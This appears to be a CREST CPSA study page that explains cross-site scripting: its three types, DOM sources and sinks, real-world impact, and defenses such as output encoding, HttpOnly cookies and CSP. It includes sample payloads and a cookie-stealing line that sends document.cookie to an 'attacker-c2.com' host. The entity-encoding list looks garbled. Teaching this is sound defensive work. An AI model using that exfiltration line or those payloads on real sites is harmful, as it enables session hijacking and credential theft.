11.2 Cross-Site Scripting (XSS): Types, Impact & Defenses

CREST Practitioner Security Analyst CPSA

Track your progress as you read

Finished sections get a check mark.

1 Chapter 1: Soft Skills, Legal Framework & Assessment Management

1.1 The Penetration Testing Engagement Lifecycle & Scoping 1.2 Legal Framework: Computer Misuse Act & Compliance 1.3 Understanding, Explaining & Managing Technical Risk 1.4 Record Keeping, Interim Escalation & Reporting Standards

2 Chapter 2: Core Networking: IP Protocols & Network Architectures

2.1 IPv4 and IPv6 Addressing, Subnetting & Header Architecture 2.2 TCP and UDP Transport Protocols & Handshake Mechanics 2.3 ICMP Protocol, Network Diagnostics & Error Messages 2.4 Network Topologies, Switched Media & VLAN Segmentation 2.5 Network Media, Ethernet Standards & Physical Topologies

3 Chapter 3: Cryptography & Secure Communication Protocols

3.1 Symmetric & Asymmetric Cryptographic Algorithms 3.2 Cryptographic Hash Functions, MACs & Digital Signatures 3.3 Secure Protocols: SSL/TLS, IPsec & SSH

4 Chapter 4: Background Information Gathering & OSINT Reconnaissance

4.1 WHOIS Records, Domain Registrars & Autonomous Systems 4.2 DNS Infrastructure, Record Types & Zone Transfers 4.3 Search Engine Reconnaissance, Google Dorking & Information Leakage 4.4 Newsgroups, Mailing Lists & Public Archive Reconnaissance

5 Chapter 5: Networking Equipment & Infrastructure Protocols

5.1 Router & Switch Management: SNMP, SSH & Authentication 5.2 Layer 2 Protocols: ARP, CDP, STP, VTP & Redundancy 5.3 Core Network Services: DHCP, NTP & TFTP 5.4 Wireless Security (802.11) & VoIP Assessment 5.5 Out-of-Band Management, Console Access & Cisco Reverse Telnet

6 Chapter 6: Network Mapping, Nmap Techniques & Target Identification

6.1 Host Discovery Techniques & Ping Sweep Methodologies 6.2 Port Scanning Mechanics: TCP, UDP & Stealth Scans 6.3 OS Fingerprinting, Service Detection & Timing Templates 6.4 Firewall and IDS/IPS Evasion Techniques 6.5 Passive OS & Service Fingerprinting 6.6 Network Access Control Analysis & Firewall Rule Base Review

7 Chapter 7: Vulnerability Identification & Tool Output Analysis

7.1 Vulnerability Scanning Principles & Methodology 7.2 CVE Referencing, CVSS Scoring & Risk Prioritisation 7.3 Banner Grabbing, Service Verification & Manual Triage 7.4 Host Audit Techniques: Processes, Sockets, Patch Levels & Interesting Files

8 Chapter 8: Microsoft Windows Security Assessment & Active Directory

8.1 Active Directory Architecture & Domain Reconnaissance 8.2 Windows User & Group Enumeration via SMB & RPC 8.3 Windows Authentication: NTLM, Kerberos & Password Security 8.4 Windows Patch Management, Local Security & Common Services 8.5 Windows File System, Share & Registry Permissions 8.6 Desktop Lockdown, Citrix Breakout & Common Windows Applications

9 Chapter 9: Unix & Linux Security Assessment & Legacy Services

9.1 Linux/Unix Security Architecture, Permissions & Filesystem 9.2 Unix User Enumeration & Service Discovery 9.3 Network File System (NFS) & RPC Services Assessment 9.4 Legacy Unix Services: R-Services, X11, FTP & Modern SSH 9.5 Unix Remote Information Services: rusers, rwho, finger & systat 9.6 Unix Vulnerability Exploitation & Post-Exploitation Workflow

10 Chapter 10: Web Architectures, Technologies & Testing Methodologies

10.1 Web Server Architecture & the HTTP/HTTPS Protocol 10.2 Web Application Components, Frameworks & State Management 10.3 Web Reconnaissance, Content Discovery & Threat Modelling 10.4 Testing Authentication, Authorization & Session Management 10.5 Web Service Protocols: SOAP, REST & XML Messaging 10.6 Web APIs, Server Extensions & Client-Side Sub-Components

11 Chapter 11: Web Testing Techniques & OWASP Top Vulnerabilities

11.1 Input Validation Vulnerabilities & Parameter Manipulation 11.2 Cross-Site Scripting (XSS): Types, Impact & Defenses 11.3 Cross-Site Request Forgery (CSRF) & Client-Side Attacks 11.4 Command Injection, File Upload Vulnerabilities & API Flaws 11.5 Information Disclosure: Error Messages & Mark-up Leakage 11.6 Injection Beyond SQL: LDAP, XPath, Code & Template Injection 11.7 Source Code Review & Encoded/Cryptographic Value Analysis

12 Chapter 12: Database Security Assessment & SQL Injection

12.1 Database Architectures, Default Ports & Authentication 12.2 SQL Injection (SQLi) Foundations & In-Band Techniques 12.3 Blind SQL Injection & Database Enumeration 12.4 Database Attack Vectors, Stored Procedures & Hardening

11.2 Cross-Site Scripting (XSS): Types, Impact & Defenses

Key Takeaways Explain This Topic AI

Cross-Site Scripting (XSS) occurs when an application includes untrusted user data in a web page without proper validation or context-aware encoding, allowing execution of malicious scripts in the victim's browser within the vulnerable application's origin.

Stored XSS is permanently persisted in the application's database or filesystem and executes for all visiting users; Reflected XSS reflects payloads immediately from the current request; DOM-based XSS executes purely on the client side between a DOM source and a dangerous sink.

XSS fundamentally subverts the Same-Origin Policy (SOP), enabling attackers to steal session cookies, capture keystrokes, inject phishing forms, and execute unauthorized state-changing actions under the victim's authenticated session.

Effective XSS defense requires context-aware output encoding (HTML, JavaScript, URL contexts), supported by defense-in-depth measures such as HttpOnly cookie flags and robust Content Security Policies (CSP).

Last updated: September 2026

11.2 Cross-Site Scripting (XSS): Types, Impact & Defenses

Cross-Site Scripting (XSS) remains one of the most prevalent and pervasive vulnerability classes in web applications. While classic injection attacks such as SQL injection target the application's backend database, XSS specifically targets the application's users . In an XSS attack, an adversary injects malicious client-side script code—predominantly JavaScript—into a trusted web application. When an unsuspecting user visits the compromised page, the victim's browser renders the page and executes the foreign script within the security context of the vulnerable application.

For CREST CPSA candidates, mastering XSS requires understanding how the browser security model operates, distinguishing between the three primary XSS classifications, recognizing vulnerable client-side sources and sinks, evaluating the real-world operational impact on enterprise environments, and implementing resilient, context-aware defenses.

Fundamentals of XSS and the Same-Origin Policy

To understand why XSS is so dangerous, one must first examine the browser's fundamental security barrier: the Same-Origin Policy (SOP) . +---------------------------------------------------------------------------------------------------+

| THE SAME-ORIGIN POLICY BOUNDARY |
+---------------------------------------------------------------------------------------------------+
| Origin Definition: Scheme (Protocol) + Fully Qualified Hostname + Port Number |
| Example Base Origin: https://portal.corp.com:443 |
+------------------------------------+-----------------------------+--------------------------------+
| Target URL | Same Origin? | Reason |
+------------------------------------+-----------------------------+--------------------------------+
| https://portal.corp.com/account | YES | Exact match (https, host, 443) |
| http://portal.corp.com/account | NO | Protocol mismatch (http != https)|
| https://api.corp.com/account | NO | Hostname mismatch (subdomain) |
| https://portal.corp.com:8443/data | NO | Port mismatch (8443 != 443) |
+------------------------------------+-----------------------------+--------------------------------+

The Same-Origin Policy dictates that scripts running in a browser context originating from one origin cannot access or manipulate sensitive DOM structures, cookies, or session storage belonging to a different origin.

How XSS Subverts SOP: When an attacker successfully injects JavaScript into https://portal.corp.com , the browser does not recognize the script as originating from an external adversary. Because the script was delivered directly as part of the HTTP response from portal.corp.com (or generated dynamically within its DOM), the browser executes the script within the legitimate origin . Consequently, the injected script enjoys full read-and-write access to the application's cookies, local storage, session storage, Document Object Model, and active API endpoints. XSS does not break SOP from the outside; it infiltrates and operates from within the origin's trusted perimeter .

The Three Primary Classifications of XSS

OWASP and industry testing frameworks categorize Cross-Site Scripting into three distinct operational variants based on how the malicious payload is stored, transmitted, and executed. +---------------------------------------------------------------------------------------------------+

| XSS TAXONOMY & ARCHITECTURE |
+---------------------------------------------------------------------------------------------------+
| Type | Persistence | Server Storage | Server Reflection | Client-Side Sink Required |
+-------------------+----------------+----------------+-------------------+---------------------------+
| Stored XSS | High (DB/File) | YES | YES (Delayed) | NO (renders directly) |
| Reflected XSS | Zero (Ephemera)| NO | YES (Immediate) | NO (renders directly) |
| DOM-based XSS | Variable | NO (typically) | NO | YES (Source to Sink) |
+---------------------------------------------------------------------------------------------------+
1. Stored (Persistent) XSS

Stored XSS occurs when an application receives untrusted input from an attacker, writes that input directly into a persistent datastore (such as a database, message queue, comment repository, or server-side log), and subsequently serves that stored data to other users within dynamic web pages without adequate sanitization or output encoding.

Execution Flow: 1. Attacker submits comment containing <script>payload</script>
2. Web server saves comment into SQL database
3. Days later, Victim Administrator visits comment moderation panel
4. Web server queries SQL database and embeds raw comment into HTML
5. Victim browser parses HTML, executes <script> -> Admin account compromised

Risk Profile: Stored XSS is widely regarded as the highest-severity variant because it does not require an attacker to socially engineer individual victims into clicking malicious links. Any user who legitimately browses to the affected page (e.g., viewing a forum thread, opening an internal helpdesk ticket, or inspecting an audit log) automatically executes the payload.

Second-Order XSS: A specialized form of stored XSS where the injection payload is stored via one safe interface (such as a profile name update) and only executed when rendered by a different, high-privilege interface (such as an administrative user management dashboard).

2. Reflected (Non-Persistent) XSS

Reflected XSS occurs when an application receives user input in an immediate HTTP request (commonly in a GET query string or POST submission) and includes that untrusted input directly within the immediate HTTP response page without proper validation or encoding.

Execution Flow: 1. Attacker crafts URL: https://target.local/search?q=<script>payload</script>
2. Attacker sends URL to victim via phishing email or chat message
3. Victim clicks link -> Browser issues GET request with payload to target.local
4. Server responds: <div>Search results for: <script>payload</script></div>
5. Victim browser renders response and executes script under target.local origin

Delivery Mechanism: Because the payload is not retained by the server, an adversary must entice the target into submitting the crafted request. Attackers achieve this using spear-phishing emails, URL shorteners, hidden <iframe> tags on third-party sites, or cross-site form submissions.

3. DOM-Based XSS (Client-Side XSS)

Unlike Stored and Reflected XSS—which involve the backend web server embedding raw input into the server-generated HTTP response— DOM-based XSS exists entirely within the client-side JavaScript execution environment . The web server may return an entirely benign, static HTML page; the vulnerability is triggered after page load when the browser's own JavaScript reads untrusted data from a DOM source and writes it into an execution sink without sanitization. +-----------------------+ Reads data +-----------------------------------------+

| DOM SOURCE | -----------------------------> | VULNERABLE CLIENT-SIDE JAVASCRIPT |
| (e.g., location.hash) | | const target = location.hash.slice(1);|
+-----------------------+ +-----------------------------------------+
|
| Passes raw data into
v
+-----------------------------------------+
| DANGEROUS DOM SINK |
| document.getElementById('msg') |
| .innerHTML = target; |
+-----------------------------------------+
|
v
[Script Executes in Browser]
DOM Sources

A DOM source is any JavaScript property or API through which an attacker can introduce untrusted data into the client application:

location.search (query string parameters)
location.hash (URL fragment identifiers following # )
location.href / document.URL (full URL)
document.referrer (the URL of the linking page)
window.name (a shared browser window property)
postMessage() events (messages received from external windows/iframes)

Critical Architectural Note: When an attacker places a payload inside the URL fragment identifier ( https://app.local/dashboard#<img src=x onerror=alert(1)> ), the fragment after # is never transmitted to the backend web server in the HTTP request . Server-side Web Application Firewalls (WAFs) and server access logs cannot see or block DOM payloads passed via fragments, making DOM XSS uniquely elusive.

Dangerous DOM Sinks

A DOM sink is a browser function or DOM element property that will execute input as script or render it as raw HTML if improperly handled:

Execution Sinks: eval() , setTimeout() , setInterval() , new Function()
HTML Injection Sinks: element.innerHTML , element.outerHTML , document.write() , document.writeln()

URL Navigation Sinks: location.href , location.assign() , location.replace() , element.src , element.href (susceptible to javascript:... pseudo-protocol execution)

Real-World Impact & Exploitation Techniques

XSS is frequently trivialized in basic proof-of-concept testing using harmless popups ( alert(1) ). In professional penetration testing, the impact of XSS is severe, leading to total compromise of user and administrative sessions: +---------------------------------------------------------------------------------------------------+

| REAL-WORLD XSS EXPLOITATION VECTORS |
+---------------------------------------------------------------------------------------------------+
| Exploitation Mechanism | Technical Action Performed by Malicious Script |
+--------------------------------+------------------------------------------------------------------+
| Session Hijacking | Reads document.cookie -> Exfiltrates session IDs to attacker C2 |
| Credential Phishing | Injects fake HTML login modal into DOM -> Steals re-entered creds |
| Keystroke Logging | Hooks document.onkeypress -> Logs all user keystrokes in real time|
| Virtual CSRF / Forced Actions | Invokes internal REST APIs using active victim session & tokens |
| Client-Side Defacement | Overwrites document.body.innerHTML -> Displays fake company alerts|
+---------------------------------------------------------------------------------------------------+

Session Hijacking via Cookie Theft: If an application stores the session identifier in a standard HTTP cookie without defensive flags, the injected script reads document.cookie and transmits it to an attacker-controlled listener: // Exfiltration via dynamic Image beacon

new Image().src = 'http://attacker-c2.com/log?cookie=' + encodeURIComponent(document.cookie); The attacker imports the stolen session identifier into their own browser and immediately assumes the victim's authenticated identity without knowing their password or solving multi-factor authentication challenges.

In-Session Credential Harvesting & Phishing Overlays: An attacker can inject a CSS/HTML overlay on top of the legitimate banking or corporate interface mimicking a session timeout dialogue: "Your session has expired. Please re-enter your password to continue." Because the URL bar continues to display the authentic, green-padlocked domain, users readily enter their credentials, which the script captures and sends to the attacker.

Forced Actions (Virtual CSRF): Because the injected script executes within the origin, it can issue asynchronous fetch() or XMLHttpRequest calls to sensitive backend endpoints (e.g., /api/user/change-email or /api/admin/create-user ). Furthermore, unlike standard Cross-Site Request Forgery attacks, an XSS payload can first read the DOM to extract dynamic Anti-CSRF tokens, rendering standard CSRF defenses completely ineffective against XSS.

Defenses and Mitigations

Securing web applications against Cross-Site Scripting requires a layered defense combining context-aware output encoding, strict input validation, and browser-enforced containment policies. +---------------------------------------------------------------------------------------------------+

| CONTEXT-AWARE ENCODING MATRIX |
+---------------------------------------------------------------------------------------------------+
| Context Location | Example HTML Snippet | Required Encoding Method |
+--------------------------+------------------------------------------+-----------------------------+
| HTML Body | <div>USER_DATA</div> | HTML Entity Encoding |
| HTML Attribute | <input type="text" value="USER_DATA"> | Attribute Entity Encoding |
| JavaScript String | <script>let name = 'USER_DATA';</script> | JavaScript Unicode Escaping |
| URL Parameter | <a href="/profile?id=USER_DATA"> | URL Percent-Encoding |
| Cascading Style Sheets | <div style="color: USER_DATA"> | CSS Hex-Escaping |
+---------------------------------------------------------------------------------------------------+
1. Context-Aware Output Encoding

The primary technical defense against XSS is output encoding (also called output escaping). Encoding ensures that characters with special syntactic meaning to the browser's parsers are converted into safe, inert representations before being inserted into the DOM.

Crucially, encoding must be context-aware , because the browser utilizes different parsers depending on where data is placed:

HTML Body Context: When placing untrusted data between standard HTML tags ( <p>DATA</p> ), the application must convert characters that trigger the HTML parser into HTML entities:

& -> &
< -> <
> -> >
" -> "
' -> '

HTML Attribute Context: Inside attributes ( <input name="user" value="DATA"> ), quotes must be encoded to prevent breaking out of attribute delimiters, and characters like > must be escaped.

JavaScript Context: Placing untrusted data inside <script> blocks is dangerous. Standard HTML entity encoding does not protect against execution inside JavaScript strings. Instead, the application must use JavaScript Unicode escaping (e.g., " becomes \u0022 , ' becomes \u0027 , and < becomes \u003c ). Modern best practice avoids dynamically embedding server variables inside inline script tags altogether, opting instead for JSON data embedded in inert <script type="application/json"> blocks.

2. Defense-in-Depth: The HttpOnly Cookie Flag

To mitigate the risk of session hijacking when an XSS vulnerability occurs, session cookies should always be set with the HttpOnly directive in the Set-Cookie response header: Set-Cookie: sessionid=k78234hjkdsf9823; Secure; HttpOnly; SameSite=Lax

When HttpOnly is present, the browser strictly forbids client-side scripts from accessing the cookie via document.cookie . While HttpOnly does not prevent an attacker from executing actions via fetch() or injecting phishing overlays, it completely neutralizes passive session token exfiltration.

3. Content Security Policy (CSP)

Content Security Policy (CSP) is an HTTP response header that provides a declarative allowlist instructing the browser which external resources (scripts, images, stylesheets, fonts, iframes) are permitted to load and execute on the page. Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.cdn.com 'nonce-EDNnf03nceIOfn39fn3e9h3sdf'; object-src 'none'; base-uri 'self';

Key CSP Directives

default-src 'self' : Restricts all unspecified resource categories strictly to the application's own origin.

script-src : Defines valid sources for JavaScript execution. By default, a robust CSP blocks all inline scripts ( <script>alert(1)</script> ) and inline event handlers ( <img onerror=alert(1)> ), as well as the string-to-code execution sink eval() .

Nonce-Based CSP: Rather than allowlisting entire domain origins (which can be bypassed via JSONP endpoints or CDN hosting), the server generates a cryptographically strong, unpredictable pseudo-random token (nonce) per HTTP request. The server includes this nonce in both the CSP header and on approved inline script elements: <script nonce="EDNnf03nceIOfn39fn3e9h3sdf"> . Any injected script lacking this matching per-request nonce is blocked from execution by the browser.

Hash-Based CSP: The server precomputes cryptographic SHA-256 hashes of approved static scripts (e.g., script-src 'sha256-abc123...' ). The browser calculates the hash of any inline script prior to execution and rejects any script whose hash does not match.